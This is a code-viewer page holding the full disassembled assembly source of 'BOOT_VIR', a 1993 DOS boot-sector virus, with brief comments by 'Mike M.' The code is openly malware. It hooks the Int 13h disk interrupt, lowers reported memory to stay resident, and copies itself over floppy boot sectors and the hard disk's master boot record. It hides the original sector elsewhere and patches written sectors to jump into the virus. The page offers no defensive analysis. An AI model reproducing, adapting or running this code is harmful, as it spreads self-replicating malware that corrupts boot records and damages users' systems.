📄 boot_vir.asm
字号:
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹;圹 圹;圹 BOOT_VIR 圹;圹 圹;圹 Created: 9-Jul-93 Comments by Mike M. 圹;圹 圹;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹Int60_Offset equ 180hInt60_Segment equ 182hmain_ram_size_ equ 413hd_0000_07B4_e equ 7B4h ;*seg_a segment byte public assume cs:seg_a, ds:seg_a org 0boot_vir proc farstart: nop nop nop cli xor ax,ax mov ds,ax mov ss,ax mov sp,7C00h mov si,sp sti mov ax,ds:main_ram_size_ dec ax mov ds:main_ram_size_,ax mov cl,6 shl ax,cl push ax mov es,ax mov cx,200h xor di,di rep movsb mov ax,2Eh push ax retfSectorNum db 2 ; LocationCylinder db 27h ; of originalDrive db 0 ; boot sectorSide db 0 ; on infected diskboot_vir endp;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌; SUBROUTINE;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘main proc near mov ax,word ptr ds:[4Ch] mov word ptr ds:[180h],ax mov ax,word ptr ds:[4Eh] mov word ptr ds:[182h],ax cli mov ax,78h mov word ptr ds:[4Ch],ax mov word ptr ds:[4Eh],es mov word ptr ds:[188h],ax mov word ptr ds:[18Ah],es mov byte ptr ds:[187h],0EAh sti push ds push cs pop ds mov cx,word ptr SectorNum mov dx,word ptr Drive cmp Drive,0 jne loc_006D push dx push cx xor bx,bx call sub_019F pop cx pop dxloc_006D: mov ax,201h pop es mov bx,sp push es push bx int 60h ; original Int 13h retfmain endp;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌; SUBROUTINE;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘In13_Handler proc near cmp ah,2 jne loc_00B9 cmp dl,80h jae loc_008A cmp ch,1 ja loc_008A call sub_00CFloc_008A: cmp cx,1 jne loc_00CA cmp dh,0 jne loc_00CA int 60h ; original Int 13h jnc loc_009Bloc_ret_0098: retf 2loc_009B: cmp word ptr es:[bx],9090h jne loc_ret_0098 push dx push cx push ax pushf mov ax,201h mov cx,es:[bx+2Ah] mov dx,es:[bx+2Ch] int 60h ; original Int 13h popf pop ax pop cx pop dx jmp short loc_ret_0098loc_00B9: cmp ah,3 jne loc_00CA cmp al,2 jb loc_00CA cmp dl,80h jae loc_00CA call sub_0140loc_00CA: int 60h ; original Int 13h retf 2In13_Handler endp;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌; SUBROUTINE;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘sub_00CF proc near push es push ax push bx push cx push dx mov al,1 mov cx,1 mov dh,0 int 60h ; original Int 13h jc loc_011D cmp word ptr es:[bx],9090h je loc_011D mov ax,es:[bx+13h] push dx xor dx,dx div word ptr es:[bx+18h] shr ax,1 dec al pop dx mov dh,0 mov cl,2 mov ch,al mov ax,301h int 60h ; original Int 13h jc loc_011D mov cs:Cylinder,ch mov word ptr cs:Drive,0 xor bx,bx push cs pop es mov ax,301h mov cx,1 mov dh,0 int 60h ; original Int 13hloc_011D: call sub_0126 pop dx pop cx pop bx pop ax pop es retnsub_00CF endp;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌; SUBROUTINE;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘sub_0126 proc near push ds xor bx,bx mov ds,bx mov bx,d_0000_07B4_e cmp word ptr [bx],78h jne loc_013E cli mov word ptr [bx],1187h mov word ptr [bx+2],0FF00h stiloc_013E: pop ds retnsub_0126 endp;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌; SUBROUTINE;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘sub_0140 proc near cmp byte ptr es:[bx],0E9h jne loc_ret_016B cmp word ptr es:[bx+1],5000h jb loc_ret_016B push ds push si push di push cx mov di,bx push cs pop ds xor si,si mov cx,200h rep movsb mov byte ptr es:[bx],0E9h mov word ptr es:[bx+1],169h pop cx pop di pop si pop dsloc_ret_016B: retnsub_0140 endp;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌; SUBROUTINE;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘sub_016C proc near call sub_016F;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌sub_016F: pop bx push cs pop es sub bx,16Fh mov byte ptr cs:[bx],90h mov word ptr cs:[bx+1],9090h xor ax,ax mov ds,ax cmp word ptr ds:d_0000_07B4_e,1187h je loc_019B les di,dword ptr ds:d_0000_07B4_e mov ds:Int60_Offset,di mov ds:Int60_Segment,es call sub_019Floc_019B: mov ah,4Ch int 21h;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌sub_019F: mov ax,201h push bx push ax mov cx,1 mov dx,80h add bx,200h int 60h ; original Int 13h pop ax jc loc_01D4 cmp word ptr es:[bx],9090h je loc_01D4 inc ah push ax inc cl int 60h ; original Int 13h pop ax jc loc_01D4 pop bx mov byte ptr es:[bx+2Ch],80h mov byte ptr es:[bx+2Bh],0 dec cl int 60h ; original Int 13h retnloc_01D4: pop bx retnsub_016C endp db 40 dup (90h) db 55h,0AAhseg_a ends end start
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -